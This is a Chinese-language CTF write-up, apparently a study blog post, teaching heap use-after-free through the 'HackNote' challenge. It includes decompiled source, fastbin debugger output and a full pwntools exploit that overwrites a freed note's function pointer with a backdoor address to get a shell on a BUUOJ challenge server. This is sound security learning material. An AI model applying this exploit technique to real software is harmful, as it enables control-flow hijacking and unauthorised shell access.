开始堆学习
ufa
原理(自己理解):当一个堆指针被free时,这个堆就进入bin回收站,如果不对这个指针进行null操作,这个指针还指向这个堆,也就是说这个指针还能用
利用(自己的一点浅薄看法):堆利用就是通过各种办法让两个指针指向同一块堆,其中一个指针还可以对这个堆进行读取操作或者数据覆盖,以达到控制程序
就拿一个ufa入门题进行说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| int menu() { puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); return printf("Your choice :"); }
int add_note() { int result; int v1; char buf[8]; size_t size; int i;
result = count; if ( count > 5 ) return puts("Full"); for ( i = 0; i <= 4; ++i ) { result = *((_DWORD *)¬elist + i); if ( !result ) { *((_DWORD *)¬elist + i) = malloc(8u); if ( !*((_DWORD *)¬elist + i) ) { puts("Alloca Error"); exit(-1); } **((_DWORD **)¬elist + i) = print_note_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v1 = *((_DWORD *)¬elist + i); *(_DWORD *)(v1 + 4) = malloc(size); if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size); puts("Success !"); return ++count; } } return result; }
int del_note() { int result; char buf[4]; int v2;
printf("Index :"); read(0, buf, 4u); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts("Out of bound!"); _exit(0); } result = *((_DWORD *)¬elist + v2); if ( result ) { free(*(void **)(*((_DWORD *)¬elist + v2) + 4)); free(*((void **)¬elist + v2)); result = puts("Success"); } return result; }
int print_note() { int result; char buf[4]; int v2;
printf("Index :"); read(0, buf, 4u); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts("Out of bound!"); _exit(0); } result = *((_DWORD *)¬elist + v2); if ( result ) result = (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2)); return result; }
|
这是这个程序的大概流程,有三个功能,一个是申请堆,一个是释放堆,一个是读取堆内容,在申请堆的时候会进行两次malloc操作,第一次是申请一个结构体的堆空间,这个结构体一共有8个字节,前四个字节是一个变量,储存着一个函数地址,然后再申请一个堆空间存放内容,结构体的后四个字节存放第二个堆空间的地址,这个结构体堆的指针存放在一个数组中。
我们先申请两个note,大小放大一点,避免回收时和note的堆放入同一个fastbin的链表,我们先申请两个16字节的content堆

这是申请的四个堆,第1,3是note,第2,4是content,查看一下内存空间,(chunk包括chunkhead和chunkcontent,所以最后申请的堆的大小是这两个之和)

前八个字节是head,后面是内容,发现刚好对的上,这个时候把这两个note给free掉
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> bins fastbins 0x10: 0x804b028 —▸ 0x804b000 ◂— 0x0 note[1] note[0] 0x18: 0x804b038 —▸ 0x804b010 ◂— 0x0 content[1] content[0] 0x20: 0x0 0x28: 0x0 0x30: 0x0 0x38: 0x0 0x40: 0x0
|
这是fastbins的内容,第一个链表储存着大小为0x10的堆,第二个链表储存着大小为0x20的堆,当有堆要分配时就在这里找,这时再控制程序分配一个0x8的chunk,,note[1]就会分配给noe[2],然后开始分配content,因为要分配的堆的实际大小是0x10,他就会在fastbins中储存着堆大小为0x10的链表中找可用堆,也就是第一个链表,这个时候链表还有note[0]指向的堆,就会把这个堆分配给content,这时note[2]->content和note[0]都指向这个堆,然后利用content覆盖put的地址为后门函数的地址。调用note[0]->puts是就调用了后门函数。
最后payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * sh=remote('node4.buuoj.cn',29803)
def add_note(size,content): sh.sendline('1') sh.recvuntil('Note size :') sh.send(str(size)) sh.recvuntil('Content :') sh.sendline(content) def printf_note(index): sh.sendline('3') sh.recvuntil('Index :') sh.send(str(index)) def del_node(index): sh.sendline('2') sh.recvuntil('Index :') sh.send(str(index)) add_note(16,'asdsd') add_note(16,'asdasd') del_node(0) del_node(1) add_note(8,p32(0x08048945)) printf_note(0) sh.interactive()
|